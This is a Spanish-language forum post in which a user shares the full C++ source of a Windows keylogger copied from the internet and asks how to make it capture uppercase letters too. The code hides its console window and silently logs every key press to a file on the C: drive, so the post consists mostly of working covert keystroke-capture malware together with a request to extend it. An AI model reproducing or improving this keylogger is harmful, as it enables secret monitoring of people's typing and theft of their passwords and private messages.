Holaa...
un gusto saludarlo, lo mas probable esque este sea mi primer post en el foro ya que no me gusta opinar mucho por aca, siempre hay discuciones y no estoy para estar respondiendo siempre, bueno eso no va al caso...
mi problema es el siguiente...
estaba buscando keyloggers programados en c++ para ver la estructura y aprender un poco mas de lo que se en este lenguaje... el problema fue que al hacer funcionar el keylogger, solo me toma las letras minusculas... me gustaría saber como arreglar ese problema
el codigo está aquí (sin modificación, ya que lo saqué de internet)
#include <cstdlib>
#include <iostream>
#include <fstream>
#include <windows.h>
using namespace std;
int main()
{
FreeConsole();
string q="q";
string w="w";
string e="e";
string r="r";
string t="t";
string y="y";
string u="u";
string i="i";
string o="o";
string p="p";
string a="a";
string s="s";
string d="d";
string f="f";
string g="g";
string h="h";
string j="j";
string k="k";
string l="l";
string z="z";
string x="x";
string c="c";
string v="v";
string b="b";
string n="n";
string m="m";
string enter="[ENTER]";
string backspace="[BACKSPACE]";
string tab="[TAB]";
string spacebar=" ";
while(1)
{
Sleep(20);
ofstream log("C:\\log.txt", ios::app);
Sleep(20);
if(GetAsyncKeyState('Q')==-32767)
{log << q;}
if (GetAsyncKeyState('W')==-32767)
{log << w;}
if (GetAsyncKeyState('E')==-32767)
{log << e;}
if (GetAsyncKeyState('R')==-32767)
{log << r;}
if (GetAsyncKeyState('T')==-32767)
{log << t;}
if (GetAsyncKeyState('Y')==-32767)
{log << y;}
if (GetAsyncKeyState('U')==-32767)
{log << u;}
if (GetAsyncKeyState('I')==-32767)
{log << i;}
if (GetAsyncKeyState('O')==-32767)
{log << o;}
if (GetAsyncKeyState('P')==-32767)
{log << p;}
if (GetAsyncKeyState('A')==-32767)
{log << a;}
if (GetAsyncKeyState('S')==-32767)
{log << s;}
if (GetAsyncKeyState('D')==-32767)
{log << d;}
if (GetAsyncKeyState('F')==-32767)
{log << f;}
if (GetAsyncKeyState('G')==-32767)
{log << g;}
if (GetAsyncKeyState('H')==-32767)
{log << h;}
if (GetAsyncKeyState('J')==-32767)
{log << j;}
if (GetAsyncKeyState('K')==-32767)
{log << k;}
if (GetAsyncKeyState('L')==-32767)
{log << l;}
if (GetAsyncKeyState('Z')==-32767)
{log << z;}
if (GetAsyncKeyState('X')==-32767)
{log << x;}
if (GetAsyncKeyState('C')==-32767)
{log << c;}
if (GetAsyncKeyState('V')==-32767)
{log << v;}
if (GetAsyncKeyState('B')==-32767)
{log << b;}
if (GetAsyncKeyState('N')==-32767)
{log << n;}
if (GetAsyncKeyState('M')==-32767)
{log << m;}
if (GetAsyncKeyState('1')==-32767)
{log << 1;}
if (GetAsyncKeyState('2')==-32767)
{log << 2;}
if (GetAsyncKeyState('3')==-32767)
{log << 3;}
if (GetAsyncKeyState('4')==-32767)
{log << 4;}
if (GetAsyncKeyState('5')==-32767)
{log << 5;}
if (GetAsyncKeyState('6')==-32767)
{log << 6;}
if (GetAsyncKeyState('7')==-32767)
{log << 7;}
if (GetAsyncKeyState('8')==-32767)
{log << 8;}
if (GetAsyncKeyState('9')==-32767)
{log << 9;}
if (GetAsyncKeyState('0')==-32767)
{log << 0;}
if (GetAsyncKeyState(13)==-32767)
{log << enter;}
if (GetAsyncKeyState(8)==-32767)
{log << backspace;}
if (GetAsyncKeyState(9)==-32767)
{log << tab;}
if (GetAsyncKeyState(32)==-32767)
{log << spacebar;}
log.close();
}/*while*/
return 0;
}
si se fijan, solo contiene para capturar las minusculas, agregué las letras para que capturara las minusculas de esta forma (Es obvio)
string Q="Q";
string W="W";
string E="E";
string R="R";
string T="T";
string Y="Y";
string U="U";
string I="I";
string O="O";
string P="P";
string A="A";
string S="S";
string D="D";
string F="F";
string G="G";
string H="H";
string J="J";
string K="K";
string L="L";
string Z="Z";
string X="X";
string C="C";
string V="V";
string B="B";
string N="N";
string M="M";
y en la parte de abajo me confundo, porque la estructura es así
if (GetAsyncKeyState('M')==-32767)
{log << m;}
Al principio sale una M mayuscula y despues una minuscula, no sabría como hacerlo para que capture minusculas y mayuscula, si me expliqué mal, avisen porfavor...
Saludos, y gracias de antemano.
Buen foro y buenos users...
atte. Psy0n3